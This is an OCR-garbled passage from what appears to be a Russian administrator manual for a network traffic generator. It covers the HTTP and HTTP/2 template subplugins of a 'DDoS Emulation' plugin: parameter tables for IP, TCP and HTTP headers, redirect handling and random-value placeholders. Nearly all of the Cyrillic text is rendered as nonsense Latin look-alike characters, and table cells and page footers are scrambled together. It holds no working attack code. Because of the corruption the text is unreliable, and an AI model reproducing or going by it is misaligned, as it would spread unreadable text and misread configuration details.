OIr'paHUYICHUS) OrpaHI/IlIeHI/Iﬁ Ha KOJ-BO OTIPABIIEMBIX | []o YMOJIYAHHUIO, TyM6J‘Iep BKJIFOUYCH.
3aMpoCOB B CEKYHIY
3ampocoB B | MakcuMalpHOE  KOJIMYECTBO  3aIllpOCOB, | 3amaiiTe YUCIOBOE 3HAYCHUE
CEKyHIy (Ha | xoTOpblc MOrYT ObITE 00paboTaHbl B | [[o YMOJYaHUIO BBICTABJIEHO 3HAYECHUE:
CECCHIO) CEeKYHJly JJIsl OTHOHM Ceccuu/cTpuma. 10.

HurepBan mexny
OTIPaBKOMI
3a1pocoB

Onuust TMO3BOJISIET HACTPOHUTH  3aJIEPIKKY
MEXAYy OTIPaBKOW 3aJaHHOrO  KOJ-Ba
3aIpOCOB B CEKYHIY.

3ajaiiTe 4MCI0BOE 3HAYCHHE
3HaueHue 1o yMoa4aHuio: «10»

5.3.1.16.7 HTTP TEMPLATE

HTTP TEMPLATE — noxamnarus nis reHepanuu Tpaduka, HalpaBJICHHBIH Ha TEHEpaIUio

HTTP-3anmpocoB 1o 3aganHOMY MIA0JIOHY JIJIi UMUTALUUA JISTUTUMHOTO WM BPEIOHOCHOTO

Tpaduka.

HaHHHﬁ IUIarvuH COCTOUT U3 CIICAYIOIIHNX IIapaMETPOB:

a) TyM6nep ((AKTI/IBI/IpOBaTB MOATUIaTrvuH» - IJIA BKIIFOUCHUA MOAIUIArnHa B paMKax

mwiarnaa «MHDDoS Emulation».

0) HcTo4HMKM — COBOKYMHOCTh M3 BBIOpaHHOTO areHTta, mHTepdeiicoB u MAC-

aJIpecoB C KOTOPBIX areHT OyAeT OTHpaBiATh U MPUHUMATh Tpaduk. OnucaHue napameTrpoB

ykazanbl B Tabn. 40;

Ta6a. 125 — [Mapamertpsl «AcToOUHHKN

HasBanue Onucanne 3HauyeHue

ATeHT ATeHT, ¢ KOTOpPOro OyIeT OTHpaBisAThCA | BriOepere areHT U3 CIECKA areHTOB
TpadhUK M C KOTOPBIA Oyner NpUHUMATh
Tpaduk.

CeTeBoii CereBoii mHTepdeic areHTa, ¢ KoToporo | Breibepete unTepdeiic u3 CITUCKA

nnrepetic OysieT OTHpaBIAThC TpaQHK M C KOTOpBIA | MHTepdeHcos
Oyzmet mpuHUMATh Tpaduk

CeTh BriOpannbie 00bekT «Cetn» (cM. 3aroioBok | Beibepere o0bexT «Cern» u3  crnmcka
5.2.2.1 wim 5.2.2.2) mapameTpbl KOTOPOro | o0beKTOB. 3amaiiTe Bec (0 YMOIYAHHUIO, BEC
OyZyT WCIONB30BaThCA ML OTIPABKU | pacrpelesisieT PaBHOMEPHO IMAKeThl MEXIy
tpapuka. Ecim BbiOpaHo Oonee onHOro | oobexTamu «CeTny)
00beKTa, MOXKHO U3MEHUTH MapaMeTpP «BECH,
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OTBEYAIONUH 3a OaTaHCUPOBKY

pacnpeeneHus MaKeToB

BLIGpaHHI)IMI/I o0bexTaMu «CeTny.

MEXIY

B) Llemu — mapameTpsl 1)1 BEIOOpa 00BbEKTa, B KOTOPBIN OyIeT HampaBisIThCs Tpaduk

(cM .3aronoBok 5.2.2.3);

Ha3zBanmue Onucanmne 3HaueHHne
Lenb BriOpannbie 00bekT «Cetn» (cM. 3aronoBok | Beidepere 00bekT «CeTu» H3  CHHCKa
5.2.2.3) nmapaMeTpbl  KOTOPOro  OyAyT | OOBEKTOB.

HCIOJIB30BAaThCA JId OTHPaBKH Tpaqn/n(a B

BBIOpaHHYIO ETb.

r) IP 3aronoBok (L3) — mapametpsr HacTpoek IP 3aronoskos Ha yposue L3 TPC/IP,

OIMCaHMe KOTOPHIX yKa3aHbl B Tabn. 126;

Taoua. 126 — IMapamerpsi «IP 3aronosok (L3)»

Service)

Hazsanue Onucanne 3navenue
TTL (Time to [Mapamerp TTL ompenensieT makcumanbHOe | 3ajmaiiTe YHCIIOBOE 3HaYCHUE (mmo
Live) KOJIMYECTBO  MAapIIPYTH3aTOpPOB  (XOMOB), | yMonuaHuto, 3HadeHue TTL sBnsercs:
yepe3 KOTOpbIE MOXKET mpoWTH maker | «128»)
JAHHBIX, TIPEX/IE YeM OH OyJeT OTOpOIICH.
ToS (Type of | DSCP — »sto nose B 3aromoBke IP-makera, | 3agaiite  uucioBoe — 3HadeHue (IO

KOTOPOE HCIONb3YeTCsl I OUpeeTICHHs
npropuTeTa u 00padoTku Tpaduka

yMOJ4YaHU0, 3HaueHne DSCP sBnsiercs: «7»)

ECN — sT0 MexaHn3M, KOTOPBIi TIO3BOJIAET
MapuIpyTu3aTopamM yBEAOMIISITH Y3JIbl O
neperpyskax B ceTu 0e3 cOpoca ImakeToB.

BBI6Cp€T6 3HAYCHUEC U3 CIIMCKA:
00 (Non-ECT)

01 (ECT(2))

10 (ECT(0))

11 (CE (Congestion Experienced))

n) TCP 3aronoBok (L4) — mapamerpsl HacTpoek IP 3arooskos Ha yposue L4 TPC/IP,

OIMCaHMue KOTOPHIX yKa3aHbl B Tabn. 127;

Tadn. 127 — Iapamerpsi « TCP 3arosoBok (L4)»

Ha3Banue Onucanne 3HaveHue
Max. Segment Size | MakcuManbHBIN pa3Mep cerMeHTa | 3amaiiTe YHCIOBOe 3HaYeHue (1o
(MakcnmanbHblit PasMep | onipenenser MaKCUMaJIbHBIM | YMOJYaHHIO, 3HayeHue  Max.
CETMEHTa) .
00beM JaHHBIX, KOTOpBI MoxeT | Segment Size sBistercs: «1460»)
ObITh Tepegan B omgHOM TCP-
CeTMEHTe
Jluem
Pykosodcmeo admHuucmpamopa s 10 Nepeceem-CT 97
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WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCS K MEXaHU3MY
MacmtabupoBanust okHa TCP,
KOTOPBIA TO3BOJACT YBEIHYUTH
pasMep OKHa Uil yHpaBICHUS
MIOTOKOM JaHHBIX.

3ajaiite 4ucioBOe 3HaueHUe (1o
YMOJTYaHHIO, 3HaYEHUE WS
SIBIISIETCS: «64»)

Window Size (Pa3mep oxHa)

Pasmep oxna TCP ompenenser
00bEM JAHHBIX, KOTOPBIA MOXKET
OBITh OTIpaBICH 0e€3 OXHUIaHHS

3anaiite yuciaoBOoe 3HaueHHe (IO
yMoJl4aHuto, 3HaueHne Window
Size sBnsiercs: «256»)

TOATBECPIKACHUA OT OJTYyHaTECJId.

e) Ilapamerpsr HTTP - mapamerpsr HacTpoek HT TP 3aromoBkoB Ha ypoHe L6-L7

TPC/IP, onrcanue KOTOphIX yKa3zaHo B Tabm. 128;

Ta6a. 128 — [Mapamertpsl «[lapamerpsr HTTP»

HasBanue Onucanne 3HaveHue

HTTPs YkasbIBaer, UCIIOJIb3YETCS mm | la / Her (ykaxuTe Tekyllee COCTOSHHE
3alIMIICHHBI  MPOTOKOJ  MepeAadd | MepekiIroyareneM TyMmoepa)
nanaeix HTTPS

Bepcust TLS | Bepcms TLS (Transport Layer Security) | Beibepere 3nagenne TLS v1.2 mwmm TLS v1.3
omnpezieIsieT IMPOTOKOJN  INU(POBAHUS,
UCIIONB3YeMbI Uit o0ecreyeHus
0e30macHOi mepenayn JaHHBIX MEXITY
KJIMEHTOM u cepBepoM
[MapameTrp mocTyrmeH, eciy mMmapameTp
HTTPs BrroueH

Bepcus VYkazpBaer Bepcuto npotokona HTTP, | Ilo ymomuanuro, 3agano 3Haueane HTTP 1.1

HTTP WCIIOJIb3YEMYIO JJIsl TIepe/lavl JaHHBIX.

User-Agent 3aroj0BOK, KOTOPbIi WACHTHQHUIUPYET | BBenuTe 3HaYCHUE 3ar0JI0BKa:
KIIMEHTCKOS NPUIOKCHHE (HANPUMeEp, | mo ymomuanmio, ${userAgent} - OGecreumBaer
Opaysep) H OIEPALHOHHYIO CHCTEMY, C poranuto User-Agent: ansi KaXJOro 3ampoca
KOTOPOH OCYINECTBIIACTCA 3alpocC. BbIOMpaeTCs CIy4alHBIH BaJWAHBIA BapHaHT W3

crucka B BeO-uHTEpdeiice

Ilyte VYka3pBaeT MyTh K 3ampamiiBaeMoMy | Beegure 3HaueHwme myTH ([0 YMOIYAHHIO,
pecypcy Ha cepBepe. OT1o dacth URL, | 3HaueHWe MyTH SBISETCS KOpHEBas IUPEKTOPHS
KOTOpast CIeyeT 3a JOMEHHBIM UMEHEM. | cepBepa: «/»)

HTTP meton | Metoa, wucmonb3yemblif i 3ampoca | BriGepere u3 cieayromero cimcka:

pecypca Ha cepBepe.

o GET

e POST

e PUT

e PATCH
e DELETE

HTTP craryc

Omniys, OTBEYaroIias 3a OTCIEKUBAHUE
nepeajpecalny CECCUU B CTOPOHY LIEIH.
Ecin OIIIMA BKIIOYECHA: BCEC OTBCTHBLIC
3aMpoChl cojieprkalne Ko otBera 3XX
OynyT oTpaboTaHBI U CECCHS BMECTE C
MOCEOYIONNM TpahUKOM B pPaMKax
9TOW ceccuu OyAeT TepeHampaBlicH B
uenb,  yKa3aHHYl0O B 3aroJioBKe
«location»

BKJIIOUHTE/BBIKIFOUUTE TYMOIIED

HTML Meta
Refresh

OHIII/IH, OTBCYaromasa 3a OTCJICKHWBAHUC
nepeagpecanun CECCUU B CTOPOHY LECTIN.

BKJTIOYNTE/BBIKITIOUUTE TYMOIIED

Nsm.
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Ecnu ommus BKIIFOYeHa: BCE OTBETHBIC
3amnpockl, coxepikaniie B orBete HTML
crpanuity ¢ meta-rerom «refreshy 6yayt
oTpabOTaHBl M CECCHUS BMECTE C
MOCCAYIONMM TpadUKOM B paMKax
9TOW ceccuu OyAeT TepeHampaBlicH B
LIEJIb, VKa3aHHYIl0O B 3arojoBKe
«content», Bkitouast 3a4€pKKy

I'nmy6una 3HayeHue MaKCUMaJbHO AONYCTHMOro | 3ajaiiTe cBoe 3HaueHue (IO YMOJIYAHHIO,
KOJIMYECTBa IIepeajpecanuii B paMKax | 3HaUCHHE paBHO «20»)
oxuoi TCP ceccun
Query ITapametpbl, nepemaBaemble B URL | BBenute 3HaueHue mocie HaxaTus KHOIIKH
napaMmeTpsl nocJje 3Haka Bormpoca (?) «/lo6aBUTH mapaMeTpsI»:

BBenure cBoe 3HaueHHE

${str(length)} - dopmupyer
TIPOM3BOJILHYIO KOMOWHAIIMIO CHMBOJIOB
3amanHou amuHBl (pumep: ${str(16)})
${strMinMax(min_length,max_length)}
- dopmupyeT TIPOU3BOJIHHYIO
KOMOWHAIIMIO CHMBOJIOB C JUIHHOH B

YKa3aHHBIX npenaenax (mpumep:
${strMinMax(16,24)})

${hex(length)} - dopmupyer
TIPOM3BOJILHYIO KOMOWHAIIMIO CHMBOJIOB
3a/IaHHOM [UTHHBI B IECTHAAIIATEPHIHOM
dopmare (pumep: ${hex(16)})

${hexMinMax(min_length,max_length)}
- dopmupyeT TIPOU3BOJIHHYIO
KOMOWHAIIHIO CHMBOJIOB B
IIECTHAIATEPUIHOM (dopmare B

YKa3aHHBIX npeaenax (mpumep:
${hexMinMax(16,24)})

${email} - ®opmupyeT BamMaHBIN email
CO CIIyYaifHbIM UMEHEM II0JIb30BaTeIsl U
JIOMEHOM

${login} - ®opMupyeT BaNIUIHBINH JTOTHH
T0JIB30BATEIIS

${password}- dopmupyer BanHAHBIH
[apoJIb MOJIB30BATEIS

Teno 3ampoca

Yacte HTTP-3ampoca, coneprxkamias
JIaHHBIe, KOTOpbIE KIUEHT OTMPaBISET
cepaepy (Hampumep, popmy nnmu JSON)
ITapameTp n0OCTymeH eciau BBIOPAHBI
metoasl: POST, PUT unu PATCH

3anoJHUTE TOJIE «TEN0 3alpocay CIeIyIOIINM
obpazom:

Beeure 3HaueHne TENO 3ampoca
${str(length)} - DopmupyeTr
[POHM3BOJIGHYI0 KOMOWHAIIMIO CHMBOJIOB
3amanuoi aumHel (mpumep: ${str(16)})
${strMinMax(min_length,max_length)}
- dopmupyer [POHU3BOJIBHYIO
KOMOHMHAIIMIO CHMBOJIOB C JUIHHOH B
yKa3aHHBIX npezenax (mpumep:
${strMinMax(16,24)})

${hex(length)} - DopMupyer
[POM3BOJIGHYI0 KOMOWHAIIMIO CHMBOJIOB
3a[AaHHOM [UTHHBI B [IECTHAIIATEPHIHOM
dopmare (npumep: ${hex(16)})
${hexMinMax(min_length,max_length)}
- Dopmupyer [POHM3BOJILHYIO
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KOMOWHALIHIO CHMBOJIOB B
[IECTHAIATEPHIHOM dhopmare B

yKa3aHHbIX npezenax (mpumep:
${hexMinMax(16,24)})
o ${email} - ®opmupyer BamHIHBINA email
CO CIIy4aiHbIM HMEHEM MOJIb30BaTENs U
JIOMEHOM
o ${login} - ®opmupyeT BaNUAHBIA JOTHH
TOJIb30BATES]
${password}- dopmupyeT BaTHIHBINA TAPOIH
TOJIb30BATEs]

3aroyioBKu JlomonHUTEBHBIE MeTaJaHHble, | 3HAYCHHUS 110 yMOIYaHHMIO!
ornpaBisemsie  BMecTe ¢ HTTP- | «Accept»:« */*»;

3afpocoM. «Accept-Encoding»:« gzip,deflate,br»;
«Accept-Language»:«ru-RU,ru;q=0.9,en-
US,en;q=0.7»;
«Cache-Control»:«max-age=0»,
«Sec-Fetch-Mode»:«navigate»;
«Sec-Fetch-Site»:«same-origin»;
«Sec-Fetch-User»:«71»;
«Sec-Fetch-Dest»:«document»;
«Pragma»:«no-cache»;

BBenmure 3HaueHHWEe MOCNE HAKATUS KHOIKH
«Jlo6aBHUTh TapaMeTphI»:
e  BaeauTte cBoe 3HaUCHHUE
e ${str(length)} - dopMupyeT
MPOU3BOJIBHYIO KOMOWHAIMIO CHMBOJIOB
3aganHoi anuHel (mpumep: ${str(16)})
e ${strMinMax(min_length,max_length)}
- dopmupyer MIPOU3BOJIbHYIO
KOM6I/IHaI_[I/IIO CHMBOJIOB C ,E[HPIHOﬁ B

YKa3aHHbIX npenaenax (mpumep:
${strMinMax(16,24)})

o  ${hex(length)} - dopmupyeT
MIPOU3BOJIFHYI0 KOMOWHAIIMIO CHMBOJIOB
3aJaHHO JUIMHBI B IECTHAIATEPHIHOM
dopmare (pumep: ${hex(16)})

o  ${hexMinMax(min_length,max_length)}
- Dopmupyer IIPOU3BOJIbHYIO
KOMOHMHAIIHIO CHMBOJIOB B
IECTHAALATEPUIHOM ¢dopmare B

YKa3aHHBIX npezaenax (mpumep:
${hexMinMax(16,24)})

o 3${email} - ®opmupyer BanmumHbIH email
CO CIydYaifHbIM UMEHEM IOJIb30BaTeIsl U
JOMEHOM
o 3${login} - ®opmupyeT BaTHIHBINA JOTHH
MOJIB30BATEIIS
${password}- @opmupyer BalUIHBIA NAPOJb

IIOJIB30BATCIIA

)K) HapaMeTpLI CCCCHUHU - MAPaMCTPhbI, KaCaroIHECd YIPABJICHUA CCCCUAMU B paMKax

TEKYIIEro IIaruHa, ornMcaHue KOTOphIX yka3aHo B Tabu. 129;

Jlucm
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Ta6u. 129 — [Iapamerpsl «IlapameTpsbl ceccumy

BOCCTAHOBJIEHO B YyKa3aHHBIM IMEPHO/,
ceccus Oy/IeT 3aKphITa.

HasBanmue Onucanue 3Hauenne
Oobee MaxkcuManbHOE KOJIHIECTBO OMHOBPEMEHHO | 3ajaiiTe YHCIOBOE 3HAUCHUE
KOJIMYECTBO AKTUBHBIX CCCCHH, KOTOPBIE MOTYT OBITh | 3paueHme MO ymomaanmio: «10»
ceccuit YCTaHOBJICHBI B paMKaX IUIarvHa.

Taim-ayT Bpems B cexyHmax, B TeUeHHE KOTOPOTO | 3amaiiTe YMCIOBOE 3HAUCHHE
MTOBTOPHOTO Iepecer-CT Oyzmer MBITATBCS | 3HaueHHe MO yMOTUAHHIO: «0»
MO AKJIFOUEHHUS BOCCTAHOBUTh COEJUHEHHE IIOCIIE €TO0

paspeiBa. Ecnm coenuHenue He Oyzaer

ITonxmroueHuii B
CEKyHIY

MaxkcuMaJIbHOE KOJIMYECTBO HOBBIX CECCHUH,
KOTOpPBIE MOTYT OBITh YCTaHOBIICHEI 32 OIHY
CeKyHIY.

3aaiiTe 4nCI0BOE 3HAUCHHUE
3HaueHue o yMoa4aHuio: «1»

Tymbnep  «be3 | MakcuManbHasi MPOU3BOAUTENHHOCTh 0€3 | BKIFOYHTH/BBIKIIOYHTS

OTPaHWICHUS» OTPAaHUYCHUH HA KOJI-BO OTHPABISCMBIX | [0 yMOTYaHHMIO, TyMOJIep BKITIOUCH.
3aIPOCOB B CEKYHIY

3ampocoB B | MakcuMalpHOE  KOJIMYECTBO  3aIllpOCOB, | 3aaaiiTe YUCIOBOE 3HAYCHHUE

CEKyHIy (Ha | xoTopble MOryT ObITh 0OpaboTaHbl B | [[o YMOJYaHUIO BBICTABJIEHO 3HAYECHUE:

CECCHIO) CEeKYH]ly AJIsl OTHOM Ceccuu/cTpuma. 10.

WuTepBan Mexny
OTIPaBKOHI
3a1pocoB

Onmusg Mo3BOJSIET HACTPOUTH  3aAEPIKKY
MEXIy OTIpaBKOM 3aJaHHOTO  KOJI-Ba
3aMpoCcoB B CEKYHIY.

3aaiiTe YMCI0BOE 3HAUCHNUE
3HaueHue Mo yMOI4aHuto: «0»

5.3.1.16.8 H2 HTTP TEMPLATE

H2 HTTP TEMPLATE — noannarus it reHepanuy Tpaduka, HalpaBJIeHHbBIH Ha TeHEPaIio

HTTP-3ampocoB 1o 3agaHHOMY MIAOJIOHY JJIi UMUTALUUA JISTUTUMHOTO WJIA BPEJOHOCHOTO

Tpaduka, ucnons3ys nporokona HTTP 2.

Z[aHHLIfI IUIarvuH COCTOUT U3 CIICAYIOIIHNX ITapaMETPOB:

a) TymOnep «AKTUBHPOBATH MOAIUIATHHY» - JJIs BKJIIOYEHUS MOAIUIATHHA B paMKax

mwiarnaa «MHDDoS Emulation».

6) VCTOYHMKM — COBOKYMHOCTb M3 BbIOpaHHOro areHTta, uHTepdeiicoB u MAC-

aJIpecoB C KOTOPBIX areHT OyAeT OTHPaBIATh U NpUHUMATh Tpaduk. OnucaHue napaMmeTpoB

ykazanbl B Tabn. 40;

Ta6a. 130 — [Mapamerpsl «AcToYHNKN»

Nsm.

Jlucm

Ne dokym.

Modnuce |Hama

Pykosodcmeo admHuucmpamopa s 10 Nepeceem-CT
sepcuu 2.0

Hazpanue Onucanne 3navenue

ATeHT AreHT, C KOTOpOro OyneT OTHpaBisATbCsS | BriOepere areHT U3 criMcKa areHTOB

TpaQUK M C KOTOpBIM Oyner NpHHUMATh

Tpaduk.
CeTeroii CereBoii mHTepdeic areHTa, ¢ KoToporo | Breibepete unTepdeiic u3 CITUCKA
nnrepetic OysieT OTHpaBIAThC TpaQHK M C KOTOpBIA | MHTepdeHcos

Oyzmet mpuHUMATh Tpaduk
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Cetb

Bri6pannbie 00bekT «CeTn» (CM. 3ar0JIOBOK
5.2.2.1 wim 5.2.2.2) mapaMerpbl KOTOPOTO
OyZyT UCIONB30BAaTHCA OISl OTIPABKU
Tpaduka. Ecnum BbIOpaHo Ooniee OJHOTO
00beKTa, MOXKHO U3MEHUTH MAPaMETpP «BECH,
OTBEYAIOIINH 3a 0aaHCHPOBKY

pacnpeneneHus MIaKEeTOB MEXIY

BEIOpaHHBIMU 00BekTaMu «CeTm.

Bribepere o0bekr «CeTw» U3  CIHCKA
00BeKTOB. 3anaiiTe Bec (M0 yMOIYaHHUIO, BEC
pacmpenenseT paBHOMEPHO MAaKEThI MEXIY

oobexTamu «Cetny)

B) Llenu — mapametpsl AJist BEIOOpa 00BEKTA, B KOTOPBII Oy/IeT HapaBIsAThCS TpapuK

(cM .3aromnoBok 5.2.2.3);

Hazsanue Onucanne 3naveHue
Henp BriOpannsie 00bekT «Cetn» (cM. 3aronoBok | Beibepere o00vekT «Cetm» wn3  cromcka
5.2.2.3) mapamerpbl  KOTOpPOro  OyaAyT | OOBEKTOB.

UCIIONIb30BAThCsl JUIA OTIPaBKH Tpaduka B

BBIOpaHHYIO LETIb.

r) IP 3aronoBok (L3) — mapamerpsl HacTpoek IP 3aromoBkoB Ha yposue L3 TPC/IP,

oIMcaHue KOTOPBIX ykazaHnbl B Tabn. 131,

Taon. 131 — IMapamertpsi «IP 3aronoBok (L3)»

Ha3panue Onucanne 3HayeHne
TTL (Time to [Mapamerp TTL ompenensieT MakcumalibHOE | 3amaiiTe YHCIIOBOE 3HaYCHUE (mmo
Live) KOJIMYECTBO  MapIIpyTU3aTOpOB  (XOMOB), | yMonuaHuio, 3HaueHue TTL  sBisercs:
yepe3 KOTOphIE MOXKET NPONTH makeT | «128»)
JIAHHBIX, TIPEXK]IE YeM OH OyJIeT OTOPOIIIEH.
ToS (Type of | DSCP — »sto mone B 3aromoBke IP-makera, | 3ajgaiite  4mclioBoe — 3HadYCHHE (1o

Service)

KOTOpPOE MCHOJB3YeTCs IS ONpeAeTICHUs
npuopuTeTa U 00paboTKK Tpaduka

yMoJtuanuto, 3Hauenne DSCP siBnsiercst: «7»)

ECN — 310 MexaHM3M, KOTOPBIH MO3BOJISET
MapIIpyTu3aTopamM yBEAOMIISTH Y3JIbl O
neperpyskax B ceTu 0e3 cOpoca nakeTos.

Bribepere 3HaueHNe U3 CIIUCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

) TCP 3aromnoBok (L4) — mapamerpsl HacTpoek IP 3arooskos Ha yposue L4 TPC/IP,

oIMcaHue KOTOPbIX yKa3aHbl B Tabn. 132;
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Ta6a. 132 — IMapamerpsl «TCP 3aronoBok (L4)»

00beM [aHHBIX, KOTOPBIA MOXKET
ObITh Tepenan B omHoM TCP-

CCIMCHTC

Ha3panmue Onucanue 3HaveHue
Max. Segment Size | MakcumaibHBIA pa3Mep cerMeHTa | 3ajaiite uuciaoBoe 3Ha4YeHUE (110
(MaxcumanbHbii PasMep | onpenenser MaKCHMANbHBIH | yMONYAHWIO, 3HaueHHe  Max.
CETMEHTa)

Segment Size sBisercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCS K MEXaHH3MY
MacmtabupoBanust okHa TCP,
KOTOPBIA TO3BOJACT YBEIHYUTH
pasMep OKHa ISl yHpaBICHUS
MOTOKOM JIaHHBIX.

3anaiite yuciaoBoe 3HaueHHe (IO
YMOITYaHHIO, 3HaYCHUE WS
SIBIISIETCS: «64»)

Window Size (Pa3mep oxHa)

Pasmep oxna TCP ompenenser
00bEM JaHHBIX, KOTOPBIA MOXKET
OBITh OTIpaBiIeH 0e3 OXHUOAHUA

3anaiite uMciIoBOe 3HaueHHE (T10
yMoJl4aHuto, 3HaueHue Window
Size sBsieTcs: «256»)

TOATBCPIKACHUA OT TOJTYyHATCIIA.

e) Ilapamerper HTTP - mapamerpsr mHactpoexk HTTP 3aromnoBkoB Ha ypoBue L6-L7

TPC/IP, onrcanue KoTophiX ykazano B Tabm. 133;

Ta6a. 133 — [Mapamerpsol «Ilapametrpst HTTP»

HazBanmue Onucanue 3Hauyenue

HTTPs Yka3bIBaer, HCTIOTB3yeTCS ma | JJa / Her (ykaxure TeKymiee COCTOSHHE
3alIMINEHHBIA  MPOTOKOJI  MEepejavu | mepexiroyaresieM Tymoiepa)
nanaeix HTTPS

Bepcust TLS | Bepcust TLS (Transport Layer Security) | Beibepere 3nadenue TLS v1.2 wim TLS v1.3
ompenenseT TMPOTOKON HIM(PpOBaHUS,
UCTIONB3YeMBI  [UIT  oOecriedeHus
Oe30macHO# Tepenavyn TaHHBIX MEXIy
KIIMCHTOM u cepBepoM
[MapameTrp mocTyreH, eciu mMapamerp
HTTPs BriroueH

Bepcus VYkaspiBaer Bepcuto mpotokosnia HTTP, | Tlo ymonuanuto, 3agano 3HaueHue HTTP 2

HTTP WCIIOJIb3YEMYIO JJIsl TIepe/lavl JaHHBIX.

User-Agent 3aroyioBoK, KOTOpbIi uaeHTHGHIMpYeT | BBeaure 3HaueHHe 3arojoBKa:
KIIHEHTCKOE NPUJIOKEHHE (HAlPUMED, | o ymomuanmo, ${userAgent} - Obecreumpaer
Opaysep) 1 OIEPALMOHHYIO CHCTEMY, € | porammio User-Agent: Ui KakIOro 3ampoca
KOTOpOU OCYILECTBIIACTCA 3alPOC. BEIOMpaeTCs CIIy4YallHBIA BAWAHBIA BapHaHT W3

crnmcka B BeO-uHTepdeiice

Iyte Vka3blBaeT HyTh K 3amnpammBaeMoMmy | Beenure 3HaueHwe myTtw (IO YMOJIYAHHIO,
pecypcy Ha cepBepe. I1o dacth URL, | 3HaueHHe MyTH SIBISETCS KOPHEBas IUPEKTOPHUS
KOTOpas CIIe/yeT 3a IOMCHHBIM HMEHEM. | cepBepa: «/»)

HTTP meton | Meton, ucnonb3yemblid Ijisi 3ampoca | Beibepere u3 ciemyromero cnmcka:

pecypca Ha cepBepe.

o GET

e POST

e PUT

e PATCH
e DELETE
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HTTP craryc

Ormnuust, OTBEYAIOIIas 33 OTCIICKUBAHUE
nepeajpecaliii CECCUU B CTOPOHY LIEJIH.

Ecnam onmus BkiIroYeHa: BCE OTBETHBIE
3ampockl cojeprxKaline ko oreera 3XX
OyayT oTpabOTaHBI U CECCHS BMECTE C
MOCEOYIOMNM TpahuKOM B paMKax
9TOH ceccun OyAeT TepeHampaBiieH B
Lenb, yKa3aHHYl0O B 3aroJIoBKe
«location»

BKJ1IOYNTH/BBIKITIOUNTE TYMOIIED

HTML Meta
Refresh

Onmws, oTBeYaromas 3a OTCIICKUBAHUE
nepeaspecaliil CECCUU B CTOPOHY LIEJIH.
Ecmu ommust BITIOYeHA: BCE OTBETHEHIC
3anpocsl, coaepxamue B oreere HTML
cTpanuily ¢ meta-rerom «refreshy Oyayt
0oTpaboTaHbl M CeccHs BMeCTe C
MOCJIEyIOUMM  TpaUKOM B paMKax
9TON ceccun OyneT MepeHalpaBieH B
Lenb,  yKa3aHHYl0 B 3aroJIOBKe
«content», BKIIto4as 3a€piKKy

BKITFOYHTE/BBIKITIOYHTS TyMOIIEp

I'mybuna

3HaueHHe MAaKCUMAaJbHO JOMYCTHMOTO
KOJIMYECTBa Iepeanpecannii B pamkax
oxuoi TCP ceccun

3anmaiite

CBOC€ 3HA4YCHHUC (HO yYMOJI4aHuto,

3Ha4YeHHE paBHO «20»)

Query

napameTpsl

[Tapametpsl, nepenaBaembie B URL
nocie 3Haka Bompoca (?)

Beenure

3HAYCHUC TIOCJIC HaXaTus KHOIIKH

«J106aBUTH MapamMeTphi»:

Beenute cBoe 3HaueHue

${str(length)} - dopmupyer
TIPOM3BOJILHYIO KOMOWHAIIMIO CHMBOJIOB
3amanHou 1muHB! (puMmep: ${str(16)})
${strMinMax(min_length,max_length)}
- ®dopmupyeT TIPOU3BOJIEHYIO
KOMOWHAIMIO CHMBOJIOB C JUIMHOH B

yKa3aHHbBIX npeaenax (npumep:
${strMinMax(16,24)})

${hex(length)} - dopmupyer
MPOU3BOJIbHYI0 KOMOWHAIIUIO CHMBOJIOB
SaﬂaHHOﬁ JUIMHBI B HICCTHAAATCPUIHOM
dopmare (npumep: ${hex(16)})
${hexMinMax(min_length,max_length)}
- dopmupyer MPOU3BOJILHYIO
KOMOUWHAIIHIO CHMBOJIOB B
LIECTHAAATEPUIHOM tdopmarte B

YKa3aHHBIX npeaenax (mpumep:
${hexMinMax(16,24)})

${email} - ®opmupyer BanuaHbI email
CO CIIyYaifHBIM WMEHEM TIOJb30BaTeIsI U
JIOMEHOM

${login} - ®opmupyer BanUAHBINA JTOTHH
M0JIB30BATEIIS

${password}- @opmupyer BanUIHBIIA
HapoJib MOJTB30BATENS

Teno 3ampoca

Yacte HTTP-3ampoca, coaepxkamias
JaHHBIC, KOTOPBIC KIIMECHT OTIIPABJIACT
cepaepy (Hampumep, popmy nmm JSON)
IMapameTp MAOCTYmEeH eciu BBIOpPAHEI
metonsl: POST, PUT unmu PATCH

3aroJHUTE TOJIE «TeN0 3alpocay CIeIyHOLINM
obpazom:

BBenute 3HaueHue Teso 3amnpoca
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e ${str(length)} - DopMupyeT
MIPOM3BOJIBHYI0 KOMOWHAIIMIO CHMBOJIOB
3amanHo# muHB! (puMmep: ${str(16)})

o ${strMinMax(min_length,max_length)}
- Dopmupyet IIPOU3BOJILHYIO
KOMOWHAIIMI0O CHMBOJIOB C [UIMHOW B

YKa3aHHBIX npeaenax (mpumep:
${strMinMax(16,24)})

e  ${hex(length)} - dopmupyer
MPOU3BOJIBHYI0 KOMOWHAIIMIO CHMBOJIOB
3aaHHOH [UIMHBI B MIECTHAIIATCPUIHOM
dopmare (mpumep: ${hex(16)})

o ${hexMinMax(min_length,max_length)}
- Dopmupyet IIPOU3BOJILHYIO
KOMOMHAIIHIO CHMBOJIOB B
HIECTHAALATEPUIHOM ¢dopmarte B

yKa3aHHBIX npenenax (mpumep:
${hexMinMax(16,24)})

e ${email} - ®opmupyer BanmuaHLIH email
CO CITy4aiiHBIM MMEHEM IONb30BaTels U
JIOMCHOM

o ${login} - ®opmupyeT BaTHUAHBIA JOTHH
HOJIb30BATEIIS

o ${password}- dopmupyer BaIHAHBIH
[apoJIb MOJIB30BATENIS

3aroj0BKH1

JlomomHUTEIbHBIE
OTMpaBisieMbIe
3apPOCOM.

BMCCTC

MCTaJaHHBIC,

C

HTTP-

3Ha4YeHus 0 YMOJTYaHHUIO!

«Accept»i« */*»;
«Accept-Encoding»:« gzip,deflate,br»;
«Accept-Language»:«ru-RU,ru;q=0.9,en-
US,en;q=0.7»;
«Cache-Control»:«max-age=0»;
«Sec-Fetch-Mode»:«navigate»;
«Sec-Fetch-Site»:«same-origin»;
«Sec-Fetch-User»:«71»;
«Sec-Fetch-Dest»:«document»;
«Pragmax:«no-cache»;

BBenure 3HaueHWe IMOCIHE HaXaTHs KHOIKH
«J1006aBUTH MapamMeTphi»:

e  Bsenure cBOE 3HaUCHHUE

o ${str(length)} - dopmupyer
[POHM3BOJIBHYI0 KOMOWHAIIMIO CHMBOJIOB
3amansoi aumHel (mpumep: ${str(16)})

